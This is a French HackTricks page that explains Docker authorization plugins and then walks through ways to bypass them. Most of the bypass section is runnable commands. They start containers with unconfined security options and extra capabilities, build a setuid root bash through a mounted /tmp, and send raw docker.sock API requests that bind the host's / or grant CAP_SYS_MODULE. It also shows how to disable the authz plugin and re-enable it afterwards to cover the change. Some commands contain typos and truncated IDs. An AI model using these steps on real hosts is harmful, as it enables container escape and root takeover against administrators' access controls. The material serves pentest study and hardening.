AuthZ& AuthN - Docker Access Authorization Plugin

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

**Le modèle d'**autorisation de Docker par défaut est du type tout ou rien. Tout utilisateur ayant la permission d'accéder au démon Docker peut exécuter n'importe quelle commande client Docker. Il en va de même pour les appelants utilisant l'API Engine de Docker pour contacter le démon. Si vous avez besoin d'un contrôle d'accès plus granulaire, vous pouvez créer des plugins d'autorisation et les ajouter à la configuration de votre démon Docker. En utilisant un plugin d'autorisation, un administrateur Docker peut configurer des politiques d'accès granulaires pour gérer l'accès au démon Docker.

Architecture de base

Les plugins d'authentification Docker sont des plugins externes que vous pouvez utiliser pour autoriser/refuser les actions demandées au démon Docker en fonction de l'utilisateur qui l'a demandé et de l'action demandée.

Les informations suivantes proviennent de la documentation

Lorsqu'une requête HTTP est effectuée vers le démon Docker via l'interface CLI ou via l'API Engine, le sous-système d'authentification transmet la requête au(x) plugin(s) d'authentification installé(s). La requête contient l'utilisateur (appelant) et le contexte de la commande. Le plugin est responsable de décider d'autoriser ou de refuser la requête.

Les diagrammes de séquence ci-dessous illustrent un flux d'autorisation autorisé et refusé :

Flux d'autorisation autorisé
Flux d'autorisation refusé

Chaque requête envoyée au plugin inclut l'utilisateur authentifié, les en-têtes HTTP et le corps de la requête/réponse. Seul le nom d'utilisateur et la méthode d'authentification utilisée sont transmis au plugin. Plus important encore, aucun identifiant d'utilisateur ou jeton d'utilisateur n'est transmis. Enfin, tous les corps de requête/réponse ne sont pas envoyés au plugin d'autorisation. Seuls les corps de requête/réponse pour lesquels le Content-Type est soit text/* soit application/json sont envoyés.

Pour les commandes qui peuvent potentiellement détourner la connexion HTTP (Mise à niveau HTTP), telles que exec, le plugin d'autorisation n'est appelé que pour les requêtes HTTP initiales. Une fois que le plugin approuve la commande, l'autorisation n'est pas appliquée au reste du flux. En particulier, les données en streaming ne sont pas transmises aux plugins d'autorisation. Pour les commandes qui renvoient une réponse HTTP fragmentée, telles que logs et events, seule la requête HTTP est envoyée aux plugins d'autorisation.

Pendant le traitement des requêtes/réponses, certains flux d'autorisation peuvent nécessiter des requêtes supplémentaires au démon Docker. Pour compléter de tels flux, les plugins peuvent appeler l'API du démon de manière similaire à un utilisateur régulier. Pour permettre ces requêtes supplémentaires, le plugin doit fournir les moyens à un administrateur de configurer des politiques d'authentification et de sécurité appropriées.

Plusieurs Plugins

Vous êtes responsable de enregistrer votre plugin dans le cadre du démarrage du démon Docker. Vous pouvez installer plusieurs plugins et les chaîner ensemble. Cette chaîne peut être ordonnée. Chaque requête au démon passe dans l'ordre à travers la chaîne. Seulement lorsque tous les plugins accordent l'accès à la ressource, l'accès est accordé.

Exemples de Plugins

Twistlock AuthZ Broker

Le plugin authz vous permet de créer un simple fichier JSON que le plugin lira pour autoriser les requêtes. Par conséquent, il vous donne la possibilité de contrôler très facilement quels points d'API chaque utilisateur peut atteindre.

Voici un exemple qui permet à Alice et Bob de créer de nouveaux conteneurs : {"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

Sur la page route_parser.go, vous pouvez trouver la relation entre l'URL demandée et l'action. Sur la page types.go, vous pouvez trouver la relation entre le nom de l'action et l'action.

Tutoriel de Plugin Simple

Vous pouvez trouver un plugin facile à comprendre avec des informations détaillées sur l'installation et le débogage ici : https://github.com/carlospolop-forks/authobot

Lisez le README et le code plugin.go pour comprendre comment cela fonctionne.

Contournement du Plugin d'Authentification Docker

Énumérer l'accès

Les principales choses à vérifier sont les points d'extrémité autorisés et les valeurs de HostConfig autorisées.

Pour effectuer cette énumération, vous pouvez utiliser l'outil https://github.com/carlospolop/docker_auth_profiler.

run --privileged non autorisé

Privilèges Minimaux

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

Exécution d'un conteneur puis obtention d'une session privilégiée

Dans ce cas, l'administrateur système a interdit aux utilisateurs de monter des volumes et d'exécuter des conteneurs avec le drapeau --privileged ou de donner des capacités supplémentaires au conteneur :

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

Cependant, un utilisateur peut créer un shell à l'intérieur du conteneur en cours d'exécution et lui donner des privilèges supplémentaires :

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

Maintenant, l'utilisateur peut s'échapper du conteneur en utilisant l'une des techniques précédemment discutées et escalader les privilèges à l'intérieur de l'hôte.

Monter un dossier inscriptible

Dans ce cas, l'administrateur système a interdit aux utilisateurs d'exécuter des conteneurs avec le drapeau --privileged ou de donner des capacités supplémentaires au conteneur, et il a seulement autorisé le montage du dossier /tmp:

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

Notez que vous ne pouvez peut-être pas monter le dossier /tmp, mais vous pouvez monter un autre dossier inscriptible. Vous pouvez trouver des répertoires inscriptibles en utilisant : find / -writable -type d 2>/dev/null

Notez que tous les répertoires sur une machine Linux ne prendront pas en charge le bit suid ! Pour vérifier quels répertoires prennent en charge le bit suid, exécutez mount | grep -v "nosuid". Par exemple, généralement /dev/shm, /run, /proc, /sys/fs/cgroup et /var/lib/lxcfs ne prennent pas en charge le bit suid.

Notez également que si vous pouvez monter /etc ou tout autre dossier contenant des fichiers de configuration, vous pouvez les modifier à partir du conteneur Docker en tant que root pour les exploiter sur l'hôte et escalader les privilèges (peut-être en modifiant /etc/shadow).

Point d'API non vérifié

La responsabilité de l'administrateur système configurant ce plugin serait de contrôler quelles actions et avec quels privilèges chaque utilisateur peut effectuer. Par conséquent, si l'administrateur adopte une approche de liste noire avec les points d'extrémité et les attributs, il pourrait oublier certains d'entre eux qui pourraient permettre à un attaquant d'escalader les privilèges.

Vous pouvez vérifier l'API Docker sur https://docs.docker.com/engine/api/v1.40/#

Structure JSON non vérifiée

Liens dans la racine

Il est possible que lorsque l'administrateur système a configuré le pare-feu Docker, il ait oublié un paramètre important de l' API comme "Liens". Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur qui monte le dossier racine (/) de l'hôte :

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

Notez comment dans cet exemple nous utilisons le paramètre Binds en tant que clé de niveau racine dans le JSON mais dans l'API, il apparaît sous la clé HostConfig

Binds dans HostConfig

Suivez les mêmes instructions que pour Binds dans root en effectuant cette requête à l'API Docker:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

Montages dans la racine

Suivez les mêmes instructions que pour les Liens dans la racine en effectuant cette requête à l'API Docker :

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

Montages dans HostConfig

Suivez les mêmes instructions que pour les Liaisons dans root en effectuant cette requête à l'API Docker :

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

Attribut JSON non vérifié

Il est possible que lorsque le sysadmin a configuré le pare-feu Docker, il a oublié un attribut important d'un paramètre de l' API comme "Capabilities" à l'intérieur de "HostConfig". Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur avec la capacité SYS_MODULE :

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

Le HostConfig est la clé qui contient généralement les privilèges intéressants pour s'échapper du conteneur. Cependant, comme nous l'avons discuté précédemment, notez comment l'utilisation de Binds en dehors de celui-ci fonctionne également et peut vous permettre de contourner les restrictions.

Désactivation du Plugin

Si le sysadmin a oublié d'interdire la possibilité de désactiver le plugin, vous pouvez en profiter pour le désactiver complètement !

docker plugin list #Enumerate plugins

# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot

N'oubliez pas de réactiver le plugin après l'escalade, sinon un redémarrage du service docker ne fonctionnera pas!

Contournements du plugin d'authentification

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Last updated